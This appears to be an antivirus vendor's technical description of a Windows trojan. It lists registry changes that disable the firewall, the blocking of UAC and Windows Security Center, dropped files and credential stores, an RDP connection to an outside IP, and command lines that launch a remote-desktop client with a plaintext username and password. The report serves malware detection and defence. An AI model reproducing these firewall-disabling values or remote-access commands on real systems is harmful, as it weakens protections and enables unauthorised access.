Trojan.DownLoader26.52106

Technical Information

To ensure autorun and distribution:

Modifies the following registry keys:

[<HKCU>\Control Panel\Desktop] 'SCRNSAVE.EXE' = '00000000'
[<HKLM>\SYSTEM\ControlSet001\Control\Lsa] 'Security Packages' = 'kerberos\nmsv1_0\nschannel\nwdigest\ntspkg'
[<HKLM>\SYSTEM\ControlSet001\Control\SecurityProviders] 'SecurityProviders' = 'msapsspc.dll, schannel.dll, digest.dll, msnsspc.dll, credssp.dll'

Malicious functions:

To bypass firewall, removes or modifies the following registry keys:

[<HKLM>\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile] 'DisableNotifications' = '00000001'
[<HKLM>\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile] 'EnableFirewall' = '00000000'
[<HKLM>\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile] 'DisableNotifications' = '00000001'
[<HKLM>\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile] 'EnableFirewall' = '00000000'

To complicate detection of its presence in the operating system,

blocks the following features:

User Account Control (UAC)
Windows Security Center

Modifies file system:

Creates the following files:

%TEMP%\aut1.tmp
%APPDATA%\RDP6\ACROFX32.DLL
%APPDATA%\RDP6\AceLite.dll
%APPDATA%\RDP6\Resource\Font\_er_____.pfb
%APPDATA%\RDP6\Resource\Font\_ei_____.pfb
%APPDATA%\RDP6\Resource\Font\_eb_____.pfb
%TEMP%\aut4.tmp
%APPDATA%\RDP6\Resource\Font\_ebi____.pfb
%APPDATA%\RDP6\Resource\Font\_AI_____.PFB
%APPDATA%\RDP6\Resource\Font\_AB_____.PFB
%APPDATA%\RDP6\Resource\Font\_ABI____.PFB
%APPDATA%\RDP6\Resource\Font\ZY______.PFB
%APPDATA%\RDP6\Resource\Font\ZX______.PFB
%APPDATA%\RDP6\Resource\Font\ZD______.PFB
%APPDATA%\RDP6\Resource\Font\_A______.PFB
%APPDATA%\RDP6\Resource\Font\PFM\zx______.pfm
%APPDATA%\RDP6\ConnectionClient.exe
%APPDATA%\RDP6\MyPDFprinting\clientenvironment.ini
%APPDATA%\RDP6\bkgscpink.bmp
%TEMP%\autB.tmp
%APPDATA%\RDP6\bkgscgreen.bmp
%TEMP%\autA.tmp
%APPDATA%\RDP6\bkgscblue.bmp
%APPDATA%\RDP6\Resource\Font\SY______.PFB
%APPDATA%\RDP6\Agm.dll
%TEMP%\aut8.tmp
%APPDATA%\RDP6\TSFTPClient.DLL
%TEMP%\aut7.tmp
%APPDATA%\RDP6\ico2.ico
%TEMP%\aut6.tmp
%APPDATA%\RDP6\languk.ini
%APPDATA%\RDP6\bkgsc.bmp
%TEMP%\aut5.tmp
%APPDATA%\RDP6\Resource\Font\PFM\_er_____.pfm
%APPDATA%\RDP6\Resource\Font\PFM\_ei_____.pfm
%APPDATA%\RDP6\Resource\Font\PFM\_eb_____.pfm
%APPDATA%\RDP6\CoolType.dll
%APPDATA%\RDP6\<File name>.txt
%TEMP%\aut2.tmp
%APPDATA%\RDP6\TsCredentials.exe
%TEMP%\aut3.tmp
%APPDATA%\RDP6\rdpclientprinter.exe
%APPDATA%\Microsoft\Protect\CREDHIST
%APPDATA%\RDP6\Bib.dll
%APPDATA%\RDP6\Resource\Font\cob_____.pfb
%APPDATA%\RDP6\WHA Library.dll
%APPDATA%\RDP6\Resource\CMap\AdobeFnt.lst
%APPDATA%\RDP6\Resource\CMap\Identity-H
%APPDATA%\RDP6\Resource\CMap\Identity-V
%APPDATA%\RDP6\Resource\Font\AdobeFnt.lst
%APPDATA%\RDP6\LocalPrinting.exe
%TEMP%\aut9.tmp
%APPDATA%\RDP6\Resource\Font\com_____.pfb
%APPDATA%\RDP6\Resource\Font\PFM\COB_____.PFM
%APPDATA%\RDP6\Resource\Font\coo_____.pfb
%APPDATA%\RDP6\Resource\Font\PFM\_ebi____.pfm
%APPDATA%\RDP6\Resource\Font\PFM\_A______.PFM
%APPDATA%\RDP6\Resource\Font\PFM\_AI_____.PFM
%APPDATA%\RDP6\Resource\Font\PFM\_AB_____.PFM
%APPDATA%\RDP6\Resource\Font\PFM\_ABI____.PFM
%APPDATA%\RDP6\Resource\Font\PFM\COBO____.PFM
%APPDATA%\RDP6\Resource\Font\PFM\zy______.pfm
%APPDATA%\RDP6\Resource\Font\cobo____.pfb
%APPDATA%\RDP6\Resource\Font\PFM\ZX______.MMM
%APPDATA%\RDP6\Resource\Font\PFM\ZD______.PFM
%APPDATA%\RDP6\Resource\Font\PFM\SY______.PFM
%APPDATA%\RDP6\Resource\Font\PFM\COO_____.PFM
%APPDATA%\RDP6\Resource\Font\PFM\COM_____.PFM
%APPDATA%\RDP6\Resource\Font\PFM\ZY______.MMM
<LS_APPDATA>\Microsoft\Credentials\S-1-5-21-2052111302-484763869-725345543-1003\Credentials

Deletes the following files:

%TEMP%\aut1.tmp
%TEMP%\aut2.tmp
%TEMP%\aut3.tmp
%TEMP%\aut4.tmp
%TEMP%\aut5.tmp
%TEMP%\aut6.tmp
%TEMP%\aut7.tmp
%TEMP%\aut8.tmp
%TEMP%\aut9.tmp
%TEMP%\autA.tmp
%TEMP%\autB.tmp
%APPDATA%\RDP6\bkgsc.bmp
<LS_APPDATA>\Microsoft\Credentials\S-1-5-21-2052111302-484763869-725345543-1003\Credentials

Substitutes the following files:

%APPDATA%\RDP6\bkgsc.bmp

Network activity:

Connects to:

'21#.#6.212.42':3389

Miscellaneous:

Searches for the following windows:

ClassName: 'EDIT' WindowName: ''

Creates and executes the following:

'%APPDATA%\RDP6\rdpclientprinter.exe'
'%APPDATA%\RDP6\ConnectionClient.exe' -server 217.26.212.42 -user bsliven9 -psw solar123polar123 -color 15 -full 1 -disk on -com on -select on -seamless on -wallp green -sound on
'%APPDATA%\RDP6\TsCredentials.exe' ###.##.###.## /######
'%APPDATA%\RDP6\TsCredentials.exe' ###.##.###.## ######## ################

Executes the following: